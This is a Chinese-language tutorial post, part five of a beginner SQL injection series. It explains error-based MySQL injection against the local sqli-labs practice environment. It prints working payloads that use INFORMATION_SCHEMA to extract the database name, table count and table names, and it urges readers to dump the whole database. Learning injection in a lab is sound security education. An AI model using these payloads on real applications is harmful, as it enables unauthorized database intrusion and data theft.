从零开始SQL注入之五


0x00 废话

好久没有更新这个系列了,都快弃坑了。
不知道大家还记得上次讲了什么嘛?估计不记得了,上次讲了显错注入,这次我打算继续把显错注入的剩下几个payload讲完,然后再说别的啦~

0x01 从数据库名继续深入

我们上次的payload只搞出了数据的名字,数据库里还有很多表和字段呐,这个要怎么搞呢?

http://127.0.0.1/sqli-labs/Less-1/?id=1' AND (SELECT 5648 FROM(SELECT COUNT(*),CONCAT(0x7171,(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,50)),0x7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '1'='1

聪明的同学大概早就弄出来了,没错,就是替换掉DATABASE()这里,让他去SELECT别的东西出来。讲到这里不得不说道另一个数据库information_schema,这个数据库里保存了mysql服务器所有数据库的信息。都包括什么呢,包括有几个数据库,每个数据库有几张表,每个表有多少字段,每个字段的类型、权限等等等等的所有东西。那么我们注入的时候也可以借助这张表,将我们感兴趣的信息从中提取出来。


可以看到这里有多达40张表在其中,这么多我们只要关注其中的几个就可以了。

  • COLUMNS:如你所见,这张表中主要保存了列的信息。
  • TABLES:给出了关于数据库中的表的信息。
  • SCHEMATA:提供了关于数据库的信息。

其他的东西,涉及到的时候再讲啦!

辣么现在我们尝试获取security数据库中表的数量吧,大家回忆下SQL中如何获取一个表中记录的数量呢?一般用count就可以做到了。
那么我们的payload的核心部分就是SELECT count(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='database()',这样就可以获得数据库中表的数量了。

既然有了核心部分的payload,下面要做的就是把他整合到我们的payload模板中了,修改一下上面得到的显错payload:

http://127.0.0.1/sqli-labs/Less-1/?id=1' AND (SELECT 5648 FROM(SELECT COUNT(*),CONCAT(0x7171,(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x7365637572697479),1,50)),0x7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '1'='1

我们很容易的得到了这个数据库中表的数量,如果你还不明白INFORMATION_SCHEMA中这些表的作用(e.g. INFORMATION_SCHEMA.TABLES.TABLE_SCHEMA),自己百度查一查啦!

然后就大家就可以根据这个思路,很容易的构造出爆出表名的payload,大家先自己试一试,这里我直接给出payload了,如果不明白可以在下面留言。

1' AND (SELECT 6393 FROM(SELECT COUNT(*),CONCAT(0x7171,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,50) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x7365637572697479) LIMIT 0,1),0x7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '1'='1

这样只能获取一个表的名字,如果想获取第二个表名,可以使用LIMIT来处理。

0x02 下一步!UNION注入!

到这里,显错注入讲的差不多了,不能所有的payload我都讲了呀,只要大家掌握了核心原理,那么可以构造出各种各样的bypass语句,所以呢,大家可以自己试着把数据库里的全部内容都拖出来,如果你不能拖出来的话,请不要继续向下学习。

这一次我讲了很少的东西,目的是让大家多动手,另一个其实是我懒。。。:)

下一步我们准备进行更爽的UNION注入~下次再见。